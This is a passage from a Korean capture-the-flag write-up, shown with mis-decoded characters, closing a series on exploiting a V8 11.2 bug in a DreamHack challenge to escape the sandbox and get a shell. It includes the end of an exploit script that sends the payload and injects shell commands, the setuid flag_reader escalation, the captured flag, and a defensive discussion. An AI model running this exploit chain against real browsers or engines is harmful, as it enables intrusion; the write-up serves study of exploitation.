io.send(expl); io.send(b'\n<EOF>\n') # ์ต์ค + ์ข
๋ฃ ๋ง์ปค
time.sleep(2.0) # d8 ์คํยทexecve(/bin/sh) ๋๊ธฐ
io.send(b'id; ls flag*; ./flag_reader-* 2>&1\n') # ์
ธ stdin์ผ๋ก ๊ธ๋กญ ์ฃผ์
print(io.recvrepeat(5).decode())
host3.dreamhack.games โ 1999B ์ต์ค๋ก ์
ธ์ ์ก๊ณ , flag_reader(pwned ์
ธ)์ cat flag-*๋ฅผ ๋จน์ฌ flag ํ์ (uid=pwn)
์๋ฒ ์
ธ์ด ์ด์๋ฌ๋ค. uid=1000(pwn) โ d8์ pwn ๊ทธ๋ฃน์ผ๋ก ๋๋ค. ๋๋ ํ ๋ฆฌ์ flag-3cc99f1c0d9e8255877c19addd1d7ec1(r-------- pwned)์ flag_reader-856b1262a69e0871d532cb9371bed035(r-sr-x--- pwned:pwn, setuid pwned)๊ฐ ์๋ค.
์ฌ๊ธฐ์ ํ ๋ฒ ๋ ๋งํ๋ค โ ./flag_reader-*๋ฅผ ์คํํ๋๋ฐ ์๋ฌด๊ฒ๋ ์ ๋์๋ค. ELF๋ฅผ ๊น๋ณด๋(setreuid/system//bin/bash ์ฌ๋ณผ) flag_reader๋ flag๋ฅผ ์ง์ ์ถ๋ ฅํ๋ ๊ฒ ์๋๋ผ setreuid(pwned) ํ ์
ธ์ ๋์ฐ๋ ๋ํผ์๋ค. ์ฆ ๊ทธ๊ฑธ ์คํํ๋ฉด pwned ๊ถํ์ ์
ธ์ด stdin์ ๊ธฐ๋ค๋ฆฌ๋ฉฐ ๋ฉ์ถ๋ค. ๊ทธ๋์ flag_reader๋ฅผ ๊ธ๋กญ์ผ๋ก ์คํํด pwned ์
ธ์ ์ป์ ๋ค, ๊ทธ ์
ธ์ cat flag-*๋ฅผ ํ ๋ฒ ๋ ๋จน์ฌ์ผ ํ๋ค โ flag๋ 400/pwned ์์ ๋ผ pwn์ ๋ชป ์ฝ์ง๋ง, flag_reader๊ฐ ๋์ด pwned ์
ธ์ ์ฝ๋๋ค.
$ ./flag_reader-856b1262a69e0871d532cb9371bed035 # โ pwned ์
ธ (stdin ๋๊ธฐ)
$ cat flag-3cc99f1c0d9e8255877c19addd1d7ec1 # ๊ทธ pwned ์
ธ์ด flag๋ฅผ ์ฝ๋๋ค
DH{982f92d8f02df2debdadd0502fdbff02a89543696b6c1e6fc4d66d05949af105}
(๋ผ์ด๋ธ ์๋ฒ๋ ์๋์ฐ๋ง๋ค ์
ธ ๋๋ฌ๋ฅ ์ด 7/7 โ 0/7๋ก ๋น ๋ฅด๊ฒ ์ถ๋ ์ธ๋ค โ ์ธ์คํด์ค์ GC ์ํ๊ฐ ์์๊ฐ๊ฐ ๋ค๋ฅด๊ธฐ ๋๋ฌธ. ์ข์ ์๋์ฐ๊ฐ ์ด๋ฆด ๋ ์ฐ๊ฒฐํ๋ฉด ๋ง๋๋ค. ๊ฐ์ ํ์ฒด์ธ์ ์๋ฒ harness(runner.py)๋ก ๋ก์ปฌ์์ ์ฌํํ ๊ฒ 7์ ์ 05b๋ค.)
์๋ฒ์์ ํ๋ฅ ์ ์ด๋ค(mapArr leak + GC ๋ณ๋, ๊ทธ๋ฆฌ๊ณ ์ธ์คํด์ค์ GC ์ํ๊ฐ ์๊ฐ๋๋ง๋ค ๋ค๋ฆ) โ ์ข์ ์๋์ฐ์์ ์ฐ๊ฒฐ์ ์ฌ์๋ํ๋ฉด ๋ง๋๋ค. ์ฌํ ๋ง์, 4๋ฒ "๋งํ๋ค"๊ณ ์ ์๋ ๊ทธ ๋ถํธ์คํธ๋ฉ์ ์ง๋, ๋ผ์ด๋ธ ์๋ฒ์์ flag๊ฐ ๋์๋ค.
๐บ๏ธ ์ ์ฒด ์๋ฆฌ์ฆ ํ๋์ โ ์ฌํ์ ์ง๋
์ด ๋ฌธ์ ๋ "๋งํ ์ค ์์๋ค๊ฐ ๋ค์ง๋" ๊ฒ ๋ค์ฏ ํธ ๋ด๋ด ๋ฐ๋ณต๋๋ค. ์๋ฆฌ์ฆ๋ฅผ ํ ์ฅ์ผ๋ก ๋ฌถ์ผ๋ฉด ์ด๋ ๋ค.
| ํธ | ํ ์ผ | ๋๋ฌ์ |
|---|
| 1ํธ | ๋ฒ๊ทธยทํธ๋ฆฌ๊ฑฐ, ๊ณต๊ฐ typer-OOB ๊ธฐ๋ฒ์ด 11.2 ํ๋๋์ ๋งํ๋ ๊ฑธ ์ค์ธก | OOB๊ฐ ํธ๋ฉ |
| 2ํธ | ๊ทธ ํ๋๋์ ์์ค ๋ ๋ฒจ๋ก ๋ถ๊ฒ | "๊ฐ-range ๊ฒฝ๋ก๋ ๋ซํ๋ค" |
| 3ํธ | ๋จ์ ๋นํ์ค sink ์ ์ ์ ๊ฒ | "์๋๋ ๊ธธ๋ง์ ๋ซํ๋ค" |
| 4ํธ | ๋์น .at() reducer ๋ฐ๊ฒฌ | ๋ฌด๊ฐ๋ OOB read ํ์ |
| 5ํธ (์ด ๊ธ) | readโwrite ๋ค๋ฆฌ, ์ผ์ด์ง R/W, ์๋๋ฐ์ค ํ์ถ | ๋ผ์ด๋ธ flag |
์ฌํ์ ํ์๋ผ์ธ์ผ๋ก ๋ณด๋ฉด:
- 1์ผ์ฐจ โ ๋ฒ๊ทธ๋ฅผ ํธ๋ฆฌ๊ฑฐํ๊ณ "OOB๊ฐ ์ ์ ์๋ผ๋๊ฐ"๋ฅผ ๋๊น์ง ์ถ์ ํ๋ค(1ํธ). ๊ฒฐ๋ก : 11.2 ํ๋๋์ด ๊ฐ-range ๊ฒฝ๋ก๋ฅผ ์ ์กฐ์คํด ๋ง์๋ค.
- 2์ผ์ฐจ โ ๊ทธ ํ๋๋์ ์์ค๋ก ๋ถ๊ฒํ๊ณ (2ํธ), ๋จ์ ์ถ๊ตฌ๋ฅผ ์ ์๋ก ๋๋๋ฆฌ๊ณ (3ํธ), ๋งํ ์ค ์์๋ ํ๋ฉด์์
.at() ํ reducer๊ฐ ์ ๋งํ ๊ฑธ ์ฐพ์๋ค(4ํธ). read ํ๋ฆฌ๋ฏธํฐ๋ธ ํ๋ณด.
- 3์ผ์ฐจ โ ์ด ํ๋ฃจ์๋ง "๋งํ๋ค"๋ฅผ ๋ค ๋ฒ ์ ์๋ค. ๋ถํธ์คํธ๋ฉ ๋ฐ์ โ fake-FDA โ fake-TA โ ํ์ถ โ flag(5ํธ).
๋ค์ด์ 1์ง๋ฆฌ ๋์ด๋์ ์ ์ฒด๊ฐ ์ฌ๊ธฐ ์๋ค โ ํ ๋ฒ์ ์ฒ์ฌ์ ํต์ฐฐ์ด ์๋๋ผ, "๋ซํ๋ค"๋ ๊ทธ๋ด๋ฏํ ๊ฒฐ๋ก ์ ๋ค์ฏ ๋ฒ ์์ฌํ๊ณ ๋ค์ฏ ๋ฒ ๋ค์ง๋ ๋๊ธฐ์๋ค. 1ํธ์ "OOB๊ฐ ์ ์๋๋ค", 3ํธ์ "๋ค ๋ซํ๋ค", 4ํธ์ "monoculture๋ก ๋ถ๊ฐ๋ฅ", 5ํธ์ "GC๋ก ๋ถ๊ฐ๋ฅ"ยท"์๋ฒ์์ ์ ๋ง๋๋ค" โ ์ ๋ถ ๊ทผ๊ฑฐ๊ฐ ๋จ๋จํ ์คํ์ด์๊ณ , ์ ๋ถ ํ ์คยทํ ๊ฐ์ ์ ์์ฌํ๋ฉด์ ํ๋ ธ๋ค.
๐ก๏ธ ๋ฐฉ์ด ๊ด์ โ ๊ฒฐ์ ์ฑ๊ณผ ํ๊ฒฝ ๋
๋ฆฝ์ ๋ค๋ฅด๋ค
์ด ์๋ฆฌ์ฆ๋ฅผ ๊ดํตํ ๋ฐฉ์ด ๊ตํ์ "ํ๋๋์ ๊ณต์ฉ ํฌํผ์ ๋ฐ์์ผ ํ๋ค"(4ํธ)์๋ค. 5ํธ์ด ๊ฑฐ๊ธฐ์ ํ๋๋ฅผ ๋ํ๋ค โ ๊ณต๊ฒฉ์์ ์์ ์ฑ๋, ๋ฐฉ์ด์์ ๊ฐ์ ๋, "๋ด ๋ฐ์ค์์ ๊ฒฐ์ ์ "์ ์๋๋ค.
- ๊ณต๊ฒฉ ์ชฝ: ๋ถํธ์คํธ๋ฉ์ "monoculture๋ก ๋ถ๊ฐ๋ฅ"์ด๋ผ ๋ค ๋ฒ ๊ฒฐ๋ก ๋์ง๋ง ์ง์ง ์์ธ์ ๋๋ฒ๊ทธ ์ฝ๋ ํ ์ค(
globalThis ์ ์ฅ)์ด์๊ณ , fake-TA๊ฐ "GC๋ก ๋ถ๊ฐ๋ฅ"ํด ๋ณด์์ง๋ง ์ง์ง ๋ฌธ์ ๋ ์คํ์
๊ฐ์ ํ ๊ณณ์ด์๋ค. ๊ทธ๋ด๋ฏํ ๋ถ๊ฐ๋ฅ์ผ์๋ก ์์ฌํ๋ผ.
- ํ๊ฒฝ ์ชฝ: ๋ก์ปฌ 10/10์ด ์๋ฒ 0/12์๋ ๊ฑด ์ต์ค ๋ฒ๊ทธ๊ฐ ์๋๋ผ
mapArr์ด per-Isolate๋ผ ํ๊ฒฝ๋ง๋ค ๋ค๋ฅธ ๊ฒ. ๊ฒฐ์ ์ OOB ์ธ๋ฑ์ค๋ ๊ฐ๋ฆฌํค๋ ์ฃผ์๋ ํ๊ฒฝ ์์กด์ด๋ค. ์ ๋ขฐ์ฑ์ ํ๋์ฝ๋ฉ์ด ์๋๋ผ ๋ฐํ์ leak์์ ์จ๋ค.
๋ฐฉ์ด ๊ด์ ์์ โ ์ด ์ต์ค๊ฐ ํ๊ฒฝ ์์ ํ๋(per-Isolate map)์ ๊ทธ๋ ๊ฒ ๋ฏผ๊ฐํ๋ค๋ ๊ฑด, ์ญ์ผ๋ก map-space ๋ ์ด์์ ๋๋คํ(์ค๋
์ท ์๋/์ฌ๋ผ์ด๋)๊ฐ ์ต์ค ์ ๋ขฐ์ฑ์ ํฌ๊ฒ ๋จ์ด๋จ๋ฆฐ๋ค๋ ๋ป์ด๋ค. ์ค์ ๋ก V8 ์๋๋ฐ์ค๋ ์ดํ ์ผ์ด์ง ๋ด๋ถ ๋ฐฐ์น๋ฅผ ๋ ์์ธก ๊ฐ๋ฅํ๊ฒ ๋ง๋๋ ๋ฐฉํฅ์ผ๋ก ์์ง์๋ค. "๊ฒฐ์ ์ ์ด์ง๋ง ํ๊ฒฝ ์์กด"์ด๋ผ๋ ํ๋ฉด์ "๋น๊ฒฐ์ ์ "์ผ๋ก ๋ฐ์ด๋ด๋ ๊ฒ, ์ด ๊ณ์ด ์ต์ค๋ฅผ ๊ฐ์ฅ ์ธ๊ฒ ์ฃฝ์ด๋ ๊ธธ์ด๋ค.
๋ฉด์ฑ
: ์ธ๊ฐ๋ DreamHack CTF(Div1 ์ถ์ ์) ํ์ด ๊ธฐ๋ก์ด๋ค. ์ต์ค๋ ํจ์น๋ d8 ํ๋ก์ธ์ค ์์์๋ง ๋์ํ๊ณ , ๋ผ์ด๋ธ ๊ฒ์ฆ์ ๋ณธ์ธ์๊ฒ ๋ฐ๊ธ๋ ์ฑ๋ฆฐ์ง ์ธ์คํด์ค์ ํ์ ํ๋ค. V8 11.2.214.14 ์ ์ฉ โ ์ต์ V8์ ์ ์ฉ ์ ๋๋ค. ์
ธ์ฝ๋/ํ์ด๋ก๋๋ ๊ต์กยท๋ฐฉ์ด ๋ชฉ์ ์ ๋ถ์์ ์ํ ๊ฒ์ด๋ค.
๐ ์ฐธ๊ณ
#ctf
#pwn
+7
MA
=
U
[
0
]}
(
c
)
&~
1
)
-
16
)
|
1
)}
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ